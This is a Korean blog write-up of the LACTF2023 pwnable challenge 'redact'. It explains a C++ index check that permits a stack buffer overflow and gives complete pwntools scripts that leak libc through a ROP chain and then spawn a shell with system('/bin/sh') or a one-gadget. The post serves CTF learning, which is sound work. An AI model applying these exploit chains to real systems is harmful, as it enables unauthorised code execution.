새소식

CTF/Pwnable

LACTF2023 redact

  • -
  • 이번 주말에는 Writeup을 올리지 못했습니다. 반성하겠습니다. 여러가지로 생각이 많아서..
  • redact 쉬운거 같으면서도 생각보다 시간이 오래 걸렸네요. 역시 쉽지 않습니다 pwnable.
  • 다들 행복한 설연휴 되시길 바라겠습니다.!
  • 해당 포스트도 도움이 되셨으면 좋겠습니다. 내일도 행복한 하루 되세요. 감사합니다. ^~^.

Environment


dusker@hack:~/CTF/LACTF/2023/pwn/redact$ checksec redact
[*] '/home/dusker/CTF/LACTF/2023/pwn/redact/redact'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    Stripped:   No
  • libc Patch를 해도 오류가 발생
dusker@hack:~/CTF/LACTF/2023/pwn/redact$ ldd redact
./redact: ./libc.so.6: version `GLIBC_2.33' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.32' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libstdc++.so.6)
./redact: ./libc.so.6: version `GLIBC_2.35' not found (required by /lib/x86_64-linux-gnu/libgcc_s.so.1)
./redact: ./libc.so.6: version `GLIBC_2.34' not found (required by /lib/x86_64-linux-gnu/libgcc_s.so.1)
  • 아래 코드를 실행하여 c++과 gcc 도 patch를 진행하면 디버깅이 가능함
mkdir libstdc++
mkdir libgcc
wget http://ftp.debian.org/debian/pool/main/g/gcc-8/libstdc++6-8-dbg_8.3.0-6_amd64.deb
dpkg -x libstdc++6-8-dbg_8.3.0-6_amd64.deb ./libstdc++
wget http://ftp.debian.org/debian/pool/main/g/gcc-8/libgcc1_8.3.0-6_amd64.deb
dpkg -x libgcc1_8.3.0-6_amd64.deb ./libgcc
patchelf --set-rpath ./libstdc++/usr/lib/x86_64-linux-gnu/debug/:./libgcc/lib/x86_64-linux-gnu/ ./redact

Background


  • BOF
  • ROP
  • C++ Function
    • C++ 에서 cout을 호출할 때는 rdi 레지스터에는 std::cout 객체의 주소, rsi 레지스터에는 출력하고자하는 정보가 저장된 위치의 주소를 인자로 사용한다.
    • 또한, 함수 이름은 맹글링이 적용된 상태로, 호출이 된다.
   0x000000000040120f <+13>:    lea    rsi,[rip+0xdf3]        # 0x402009
   0x0000000000401216 <+20>:    lea    rdi,[rip+0x2ea3]        # 0x4040c0 <_ZSt4cout@GLIBCXX_3.4>
   0x000000000040121d <+27>:    call   0x4010c0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>

코드 분석


code

#include <algorithm>
#include <iostream>
#include <string>

int main() {
  std::cout << "Enter some text: ";
  std::string text;
  if (!std::getline(std::cin, text)) {
    std::cout << "Failed to read text\n";
    return 1;
  }
  std::cout << "Enter a placeholder: ";
  std::string placeholder;
  if (!std::getline(std::cin, placeholder)) {
    std::cout << "Failed to read placeholder\n";
    return 1;
  }
  std::cout << "Enter the index of the stuff to redact: ";
  int index;
  if (!(std::cin >> index)) {
    std::cout << "Failed to read index\n";
    return 1;
  }
  if (index < 0 || index > text.size() - placeholder.size()) {
    std::cout << "Invalid index\n";
    return 1;
  }
  std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);
  std::cout << text << '\n';
}
  • 두 번의 문자열 입력과, 정수를 입력한다.

  • placeholder 에 저장된 문자열을 text 문자열 index 번째로 복사하여 저장한다.

익스플로잇


  • text 문자열에 placeholder 가 추가가되는 것을 이용하여, 익스플로잇을 시도할 수 있을 거 같다.
    • text 문자열 마지막 indexplaceholder 를 설정하면 BOF가 가능하다.
  if (index < 0 || index > text.size() - placeholder.size()) {
    std::cout << "Invalid index\n";
    return 1;
  }
  std::copy(placeholder.begin(), placeholder.end(), text.begin() + index);
  std::cout << text << '\n';
  • gdb를 통해 확인을 해보면, 첫 번째 입력의 스택 사이즈는 0x50 바이트인 것을 확인

  • 스택 구조를 도식화하면 아래와 같다.

  • 따라서 ROP Chain을 통해 익스플로잇이 가능하다.

  • 여기서 한 가지 확인한 사실은 다음과 같다.

    • text 에 아무값도 입력하지 않고, index 를 0으로 설정한다음 placeholder 를 추가하면, [rbp-0x50] 부터 입력이 되는걸로 알았다.

    • GDB를 통해 확인한 결과, std:copy 를 통해 스택에 입력이 시작되는 위치는 [rbp-0x40] 위치에서부터라는 사실이다.

    • rdi = placeholder.begin()

    • rsi = placeholder.end()

    • rdx = text.begin() + index

익스플로잇 단계

1. Libc Leak, Return to main

  • ROP Chain을 통해 cout << __libc_start_main 을 구성해야한다.
    • Background에서 설명했듯 C++ cout 호출에 필요한 레지스터를 가젯을 통해서 구성한다.
    • RDI = _ZSt4cout
    • RSI = __libc_start_main@got
    • call cout
  • Padding은 위에서 설명했듯, std::copy[rbp-0x40] 에 입력하기 때문에 72Byte를 입력하면, RET를 오버라이팅 할 수 있다.
#! /usr/bin/python3

from pwn import *

p = process('./redact')
e = ELF('./redact')
libc = ELF('./libc.so.6')

context.binary = e
context.log_level = 'debug'

pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
ret = 0x401016

payload = b'A'* 72 + p64(pop_rdi) # padding 72Byte
payload += p64(e.symbols._ZSt4cout)
payload += p64(pop_rsi_r15)
payload += p64(e.got.__libc_start_main)
payload += p64(1)
payload += p64(e.plt._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc)
payload += p64(ret) # stack Alignment
payload += p64(e.symbols.main) # Return-to-main
p.sendlineafter(b'Enter some text: ', b'')
p.sendlineafter(b'Enter a placeholder: ', payload)
# pause()
p.sendlineafter(b'redact: ', b'0')
p.recvline() # '\n' 제거
libc.address = u64(p.recvuntil(b'Enter', drop=True).ljust(8,b'\x00')) - libc.symbols.__libc_start_main
print(hex(libc.address))

p.interactive()

2. Call system(’/bin/sh’)

  • libc를 구하면 익스플로잇은 성공했다고 할 수 있다.
  • ROP 객체를 통해 익스플로잇 페이로드를 제작하면 된다.
#! /usr/bin/python3

from pwn import *

p = process('./redact')
e = ELF('./redact')
libc = ELF('./libc.so.6')

context.binary = e
context.log_level = 'debug'

pop_rdi = 0x40177b
pop_rsi_r15 = 0x401779
ret = 0x401016

payload = b'A'* 72 + p64(pop_rdi)
payload += p64(e.symbols._ZSt4cout)
payload += p64(pop_rsi_r15)
payload += p64(e.got.__libc_start_main)
payload += p64(1)
payload += p64(e.plt._ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc)
payload += p64(ret)
payload += p64(e.symbols.main)
p.sendlineafter(b'Enter some text: ', b'')
p.sendlineafter(b'Enter a placeholder: ', payload)
# pause()
p.sendlineafter(b'redact: ', b'0')
p.recvline()
libc.address = u64(p.recvuntil(b'Enter', drop=True).ljust(8,b'\x00')) - libc.symbols.__libc_start_main
print(hex(libc.address))

rop_chain = ROP([e,libc],badchars='\n')
rop_chain.system(next(libc.search(b'/bin/sh\0')))
log.info(rop_chain.dump)
p.sendlineafter(b'placeholder: ', b'A'*72 + rop_chain.chain())
p.sendlineafter(b'redact: ', b'0')

p.interactive()

Reference

  • .call 옵션과, .raw .find_gadget 옵션을 통해 ROP를 쉽게 구성할 수 있다.
    • rop.call(function_name_or_address, arguments) - 지정된 함수 주소 또는 함수 이름을 호출하도록 스택에 ROP 가젯을 추가
    • rop.raw(data) - 주소를 직접 추가
    • rop(r12=0, r13=0) - ROP 체인에 r12r13 값을 0으로 설정하는 가젯을 추가
  • 특히, rop(r12=0, r13=0) 옵션을 통해 Onegadget에 필요충분조건을 쉽게 설정할 수 있다.
#!/usr/bin/env python3

from pwn import *

exe = ELF("./redact")
libc = ELF("./libc.so.6")

context.binary = exe

r = process([exe.path])
#r = remote("lac.tf", 31181)

rop1 = ROP(exe, badchars=b"\n")
rop1.call("_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc", (exe.symbols["_ZSt4cout"], exe.got.__libc_start_main))
rop1.raw(rop1.find_gadget(["ret"]))
rop1.main()
log.info(rop1.dump())

r.sendlineafter(b"text: ", b"")
r.sendlineafter(b"placeholder: ", rop1.generatePadding(0, 72) + rop1.chain())
r.sendlineafter(b"redact: ", b"0")
r.recvline()
leak = unpack(r.recvuntil(b"Enter", drop=True).ljust(8, b"\0"))
log.info(f"{hex(leak)=}")
libc.address = leak - libc.symbols.__libc_start_main
log.info(f"{hex(libc.address)=}")

rop2 = ROP([exe, libc], badchars=b"\n")
rop2(r12=0, r13=0)
rop2.raw(libc.address + 0xc961a)
log.info(rop2.dump())

r.sendlineafter(b"placeholder: ", rop2.generatePadding(0, 72) + rop2.chain())
r.sendlineafter(b"redact: ", b"0")

r.interactive()

핵심 정리


  • C++에서 함수가 호출될 때 레지스터와 스택을 잘 확인하여야함
  • 또한, C++은 함수가 맹글링된 이름으로 사용한다는 것을 잊으면 안됨
  • recv 를 진행할 때, drop 옵션을 사용하면 편함
  • ROP 객체를 통해서 코드가젯 주소를 구할 필요 없이, 함수 구성이 가능하다.

'CTF > Pwnable' 카테고리의 다른 글

LACTF2025 gamedev  (0) 2025.02.16
LACTF2025 minecraft  (0) 2025.02.12
LACTF2023 rut-roh-relro  (2) 2025.01.24
LACTF2023 rickroll  (2) 2025.01.24
LACTF2024 sus  (2) 2025.01.22
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.